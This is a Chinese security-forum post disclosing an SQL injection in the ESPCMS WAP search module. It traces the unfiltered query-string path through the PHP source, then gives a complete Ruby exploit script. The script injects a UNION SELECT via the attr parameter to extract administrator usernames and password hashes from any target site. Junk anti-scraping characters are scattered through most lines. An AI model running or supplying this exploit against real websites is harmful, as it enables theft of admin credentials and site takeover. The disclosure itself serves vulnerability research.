中国网络渗透测试联盟

标题: espcms wap模块搜索处SQL注入 [打印本页]

作者: admin    时间: 2013-7-27 18:31
标题: espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节
- M$ t0 g; J# [8 D9 |5 R0×2 PoC
: v8 l4 \4 }6 x! k1 D: b& O3 \% W3 i5 G# R) c
9 K& ]1 p( l4 |3 b2 H+ X2 L0 o
5 n7 ~) V3 A) f& h$ i1 [
0×0 漏洞概述  J% v% S2 Z# h; U/ g% ^
8 f/ P! d% V5 d$ p. s8 }
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。6 N# B$ X8 x* `9 A: u( [! l
其在处理传入的参数时考虑不严谨导致SQL注入发生: N7 T1 e# F/ W& H) A3 C$ K
& t1 r! `; ~% H

4 z6 A2 C& y! j6 Y# R% Q# G$ S. E+ t0×1 漏洞细节/ R- Z4 U$ o* v5 b9 b- I! t

1 n" a9 a8 S. b# t变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
( G8 q' h' O* }8 I/ G! f- A正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。  c% f9 g  ^+ W
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入+ b" c. y# \. l1 l$ `, j

% R% p& f) q& ?, c4 R9 W! S7 Q在/interface/3gwap_search.php文件的in_result函数中:" O3 U% l( H; J3 s( Y  O! v1 q

0 j' _4 n2 o6 ~% g: L) B: g
8 C. k5 o6 C2 `% S; ?, j) L9 P1 q7 T/ n3 r- t* H: H
       function in_result() {0 s6 }# p) z$ F1 G9 e
            ... ... ... ... ... ... ... ... ...
5 L$ A) X2 h/ p0 E9 f3 T            $urlcode = $_SERVER[ 'QUERY_STRING '];3 ?- E* l: W" A1 Z/ ~" B/ ?
            parse_str(html_entity_decode($urlcode), $output);
1 [# F4 N/ @8 M  W* z  v5 c3 ?0 g2 u; o3 }0 d
            ... ... ... ... ... ... ... ... ...
1 X$ {* e$ q# c, Z            if (is_array($output['attr' ]) && count($output['attr']) > 0) {' b6 o+ j4 J& e+ B* y

* n$ L& a- ^+ B) S                  $db_table = db_prefix . 'model_att';
) M6 g0 w# B, n$ K  v, L
1 ]- o" F: b. e& C8 a+ Z                   foreach ($output['attr' ] as $key => $value) {
& e  {/ c8 |; H, ]5 K3 a( |8 q                         if ($value) {
3 \: v2 X! M, l+ z8 J' d
  @# w9 b. }& ?& T                              $key = addslashes($key);, p/ K7 W$ V; }6 x9 [
                              $key = $this-> fun->inputcodetrim($key);- P4 c" v7 P  r& k, I. T8 |
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";& }  G. X$ X. I! L
                              $countnum = $this->db_numrows($db_table, $db_att_where);
1 l/ C* S: g- d" l& {                               if ($countnum > 0) {
* r" ~5 k8 V; H$ ~/ o0 [/ f  d                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 }; B: i( y; s0 _9 F! d( @/ `                              }0 O  i3 F' g$ ]% Q( \9 B  _
                        }
7 Z6 C2 O5 X& Y+ g) {; `& ^                  }& `5 A: d. f, n1 K; @  s
            }3 o5 p& V2 ]2 z, S; p) c
            if (!empty ($keyword) && empty($keyname)) {1 F# j1 H, B) N  A/ b/ W
                  $keyname = 'title';
* f0 x; t- ?; I                  $db_where.= " AND a.title like '%$keyword%'" ;" u1 v; }! C  L: O
            } elseif (!empty ($keyword) && !empty($keyname)) {, i$ A, y; s  ^: {; U
                  $db_where.= " AND $keyname like '% $keyword%'";3 V4 l, x( b5 O2 f, w
            }; p- U2 q% [+ _( e* v+ R
            $pagemax = 15;
, p# v) ]. S9 F" Y
1 \6 Y) ~" `; S" s  {/ P8 m            $pagesylte = 1;
/ S. P, p" j! }
: r, X6 _% D* W8 _# ?             if ($countnum > 0) {
3 v. X! ]) @0 R; Z9 [* e' u
, D5 @, j% l$ ]. G                  $numpage = ceil($countnum / $pagemax);# [) r$ G4 j: A; e
            } else {; B5 ?8 T1 S" `& S4 L) b
                  $numpage = 1;
: G; b7 Z( u+ W+ j1 w/ }, m; M, C8 ]            }
: k1 g$ W2 h0 x& T6 Q            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;9 n5 I% n5 ]. `; ~$ C( K5 r/ |4 y6 |
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
; a- ^) f2 |4 f0 R/ x7 ?" |$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);! w) @' O1 A% @2 D4 ]- x
            ... ... ... ... ... ... ... ... ...
) |# c$ }: k7 R7 q4 J% K      }
8 a- ^2 D% h/ O3 d8 u
+ {4 T6 e" `8 s4 l% d% n1 Z8 A  ^% v6 a, X+ [
0×2 PoC
) x% T8 ]' X6 }$ ]: z
/ g9 K% c- i# ]# Z0 i! M$ F" Z" u7 ~8 i3 U
7 A+ n8 R3 c9 w% h; f8 Y) J
require "net/http"6 H  D( s. H0 f% X  E# b
' a$ O7 W, {3 P0 S
def request(method, url)
9 |- G% X) |7 }( o4 ]5 j, a    if method.eql?("get")6 h9 Z- r/ w9 X% ]
        uri = URI.parse(url)
! @# E- d# i8 t! ~% w) f        http = Net::HTTP.new(uri.host, uri.port)6 l0 l# B* a/ y" E. }5 w
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
) z) B2 B# u6 w        return response, N4 u: W* S3 e( K/ Z  p" s* V
    end
* g+ k0 P$ F+ j" w1 U' kend; k% I0 J$ W+ S; i3 b0 x

; F6 o$ }4 n- D' \3 X4 ldoc =<<HERE
9 C# s  v7 P1 C, Q' w-------------------------------------------------------
/ r: L4 D8 ~1 U) mEspcms Injection Exploit
8 u$ }5 A' v9 Z  G/ E5 PAuthor:ztz% w0 w2 e) i5 y7 t7 P- A2 |2 v  Z' z
Blog:http://ztz.fuzzexp.org/
1 u& d, D- B6 A+ S-------------------------------------------------------
, O2 z3 f( {- R  l- d" C' s3 @1 n& O  H  a4 c5 x5 ~# J' v; g: M) \
HERE
1 W& @# a! A7 [3 x* i, y8 {9 X$ X& C
usage =<<HERE
) h+ \2 {. x7 D* h8 G  dUsage:         ruby #{$0} host port path
+ t- U- B# D$ b9 ^example:     ruby #{$0} www.target.com 80 /7 j# i8 E1 I  a, q9 C
HERE
0 C* w( y4 o9 J6 _, Q
5 ?/ ^% ?- S2 a; ?% n- rputs doc/ _; y4 ~4 ]! E4 d1 C: a& X) G
if ARGV.length < 3& v* X/ J* ^  |9 P% M
    puts usage
* r8 q* A: d2 {' Celse
& b% N, i0 l0 P6 h( ?8 x    $host = ARGV[0]
( |0 \& g) s) ]! V( I! S" w& u& m, W    $port = ARGV[1]
4 f9 D3 S# I/ S( i8 G    $path = ARGV[2]
/ `) F. l# z* [; }8 Z. f9 ]
6 |0 u. i8 V' x    puts "
  • send request..."4 W3 J4 ?( N  K3 ^: @
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    / w9 q8 l' |" xattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13- ^% e# K/ h2 a
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    * c& g# b8 D% ?: S* F1 I,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23", j7 v2 j# w. C' ^5 q
        response = request("get", url)
    # T/ {. m+ E# p3 r    result = response.body.scan(/\w+&\w{32}/)% p" q6 I2 u0 Z7 x. l
        puts result/ m4 B& c6 s; X5 W4 d4 o
    end
    ; J( l. U' F  A, w7 O! {2 e4 M& Y9 k3 l9 `* X' y





    欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2